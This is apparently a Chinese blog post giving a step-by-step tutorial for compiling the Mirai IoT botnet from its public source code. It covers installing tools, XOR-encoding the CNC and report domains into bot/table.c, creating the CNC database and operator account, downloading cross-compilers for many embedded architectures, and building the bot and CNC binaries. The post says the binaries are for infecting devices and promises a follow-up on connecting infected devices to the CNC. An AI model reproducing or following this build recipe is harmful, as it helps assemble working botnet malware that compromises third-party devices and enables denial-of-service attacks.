G.O.A.T!最靠譜的Mirai殭屍病毒編譯教程

前言

最近在學習Mirai病毒環境的搭建,看了網絡上幾乎所有的關於Mirai病毒編譯的教程,學到了很多,最後也成功把環境搭建起來。我漸漸地發現,對於這個病毒的編譯,每個教程都有一點小小的瑕疵,所以單看一個教程是很難成功搭建的。但也正是這些人的分享,我纔可以對Mirai病毒有了一定的瞭解。同時我也想對某些步驟進行一些原理上的解釋,於是就有了這篇博客,是一篇堪稱保姆級的搭建教程。

“萬物之源”

這個病毒在Github上是有源碼釋放的,所以下面先給出網址,一些的搭建都是以它爲核心。

https://github.com/jgamblin/Mirai-Source-Code

在這裏插入圖片描述
可以先看一下這個文件的結構,dlr是一些病毒調用的工具,loader是負責感染的,mirai是病毒的本體,scripts是腳本。(簡單看看就行)這個RAEDME有點意思,應該是原作者寫的,第一人稱,比較狂,陰陽怪氣地嘲諷了一下試圖看透他病毒的兩個博客。也介紹了這個病毒編譯的過程,但這個過程寫的我是覺得有點粗糙,面向的肯定也是對病毒這方面比較瞭解的人羣,對新手有點不太友好。這也就是爲什麼大家要看我寫的博客,哈哈哈哈哈哈哈。

準備工作

你需要的僅僅是一個Ubuntu系統,如果電腦不是Ubuntu系統可以安裝VMware來虛擬化一個,也是很方便的。我在這裏想要指明的點是編譯僅僅需要一個主機就夠了,但是病毒的各種組成部分是需要分佈在多個主機上的。我們這篇博客,講的是把github上的代碼編譯成能執行的程序,之後如何使用,如果本篇博客點擊量夠高,就可以看到下一篇了!

開始

接下來,會出現大量的linux命令,如果你對linux系統的命令有過初步的瞭解,看這些一定是沒問題的。

apt-get install git gcc golang electric-fence mysql-server mysql-client

一條指令完成需要的工具的安裝,包括gcc,golang,mysql數據庫等等。
這裏我想強調的是:一條指令看似灑脫,結果到後來就出了大問題,這樣安裝的golang版本太低,到後來編譯的時候就會報錯,所以我建議大家去網上找教程,安裝高版本的golang,越高越好。

git clone https://github.com/jgamblin/Mirai-Source-Code

linux系統的好處,git命令直接就把整個文件夾下載到了自己的本地。不出意外就是在home文件夾中。(Mirai-Source-Code)
在這裏插入圖片描述

對CNC服務器與Report服務器域名進行加密

爲啥要加密,這個就是作者的高明瞭。爲了隱藏自己,每一個被感染的設備訪問CNC控制中心的時候都是用域名訪問的,而不是直接的IP地址,然而這個域名他甚至都要進行加密。所以我們也只好照辦。
要加密,首先得要編譯出加密程序。

cd mirai/tools && gcc enc.c -o enc.out

然後開始加密。

./enc.out string cnc.mirai.com
./enc.out string report.mirai.com

string是字符串,經過enc.out的幫助,cnc.mirai.com不再是字符串,而變成了一系列的數字。
類似於這樣:

XOR’ing 14 bytes of data…
\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22

我們拿到了加密後的域名,是需要去修改病毒本體的源代碼的,畢竟是病毒本體去連接CNC控制中心。

vi …/bot/table.c

vi是個好東西,然後就可以編輯table.c這個文件了。找到它的18-21行。如圖所示:在這裏插入圖片描述
把那一串數字改成之前你加密的東西,第二個參數即後面的數字也要改成相應的長度。我想說的是我前面加密的域名是cnc.mirai.com,但其實域名你可以隨便起名,這又要牽扯到爲了搭建成功,你還得自己配置DNS服務器,讓人家計算機認識你這個域名就是對應的你CNC的ip,現在先不用管!

配置CNC控制中心

在這一部分,就要涉及到數據庫的相關知識了,這個CNC其實是一個命令的發起中心,也是所有被感染設備的管理中心。所以作者在CNC中建立了一個數據庫,用來記錄這些東西,包括使用過的攻擊命令,與能夠操控殭屍的用戶數量等等。

cd …/…/scripts
vi db.sql

在db.sql文件中,我們插入“use mirai”這個sql語句。

CREATE DATABASE mirai;
use mirai;

然後讓我們啓動數據庫。

service mysql start //啓動Mysql 服務
cat db.sql | mysql -uroot -proot
mysql -uroot -proot //以用戶名和密碼都是root登錄數據庫
INSERT INTO users VALUES (NULL, ‘mirai-user’, ‘mirai-pass’, 0, 0, 0, 0, -1, 1, 30, ‘’); //添加的用戶
exit //退出

這幾句話就是插入了一個能夠使用這個CNC控制中心的用戶,用戶名是mirai-user,密碼是mirai-pass。
然後,修改mirai/cnc/main.go中用戶名和密碼都改成root。

vi …/mirai/cnc/main.go

交叉編譯

爲啥要交叉編譯,就是因爲這個病毒其實最後編譯出來有好多的版本,包括以arm爲後綴的,以dbg爲後綴的,以mips爲後綴的,適應了各種各樣的環境。但是這些環境上並不具備編譯出這些病毒文件的能力,所以我們就在自己的電腦上先給它把這些版本一次都編譯出來,到時候比如要感染arm架構的設備,我直接就把以arm後綴爲結尾的病毒本體想辦法傳送過去就OK了,這就是我理解的交叉編譯。

cd … && mkdir cross-compile-bin
cd cross-compile-bin
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

這一大堆,看着有點亂,其實就是建了個文件夾,然後下載了我們交叉編譯需要的文件。接下來就可以運行交叉編譯的腳本了。

cd …/scripts
sudo ./cross-compile.sh

在運行過程中,會問你是否安裝mysql,果斷選n,因爲前面已經安裝完了,不需要浪費時間。

vi ~/.bashrc

編輯bashrc文件,在末尾添加以下內容:
export PATH=$ PATH:/etc/xcompile/armv4l/bin
export PATH=$ PATH:/etc/xcompile/armv5l/bin
export PATH=$ PATH:/etc/xcompile/armv6l/bin
export PATH=$ PATH:/etc/xcompile/i586/bin
export PATH=$ PATH:/etc/xcompile/m68k/bin
export PATH=$ PATH:/etc/xcompile/mips/bin
export PATH=$ PATH:/etc/xcompile/mipsel/bin
export PATH=$ PATH:/etc/xcompile/powerpc/bin
export PATH=$ PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$ PATH:/etc/xcompile/sh4/bin
export PATH=$ PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go

注意:$與P之間沒有空格!!!
刷新一下修改過的內容:

mkdir ~/go
source ~/.bashrc

最後一步,編譯CNC和Bot

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd …/mirai
./build.sh debug telnet

最後成功的標準是:看到接下來這樣的文件夾。
在這裏插入圖片描述
最終編譯好的文件都是在debug文件夾下。

尾聲

希望大家都能夠一次成功!如果大家喜歡看,我也會更新後續的Mirai部署部分,教大家可以輕鬆的將被感染設備連上CNC控制中心進行病毒的測試。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章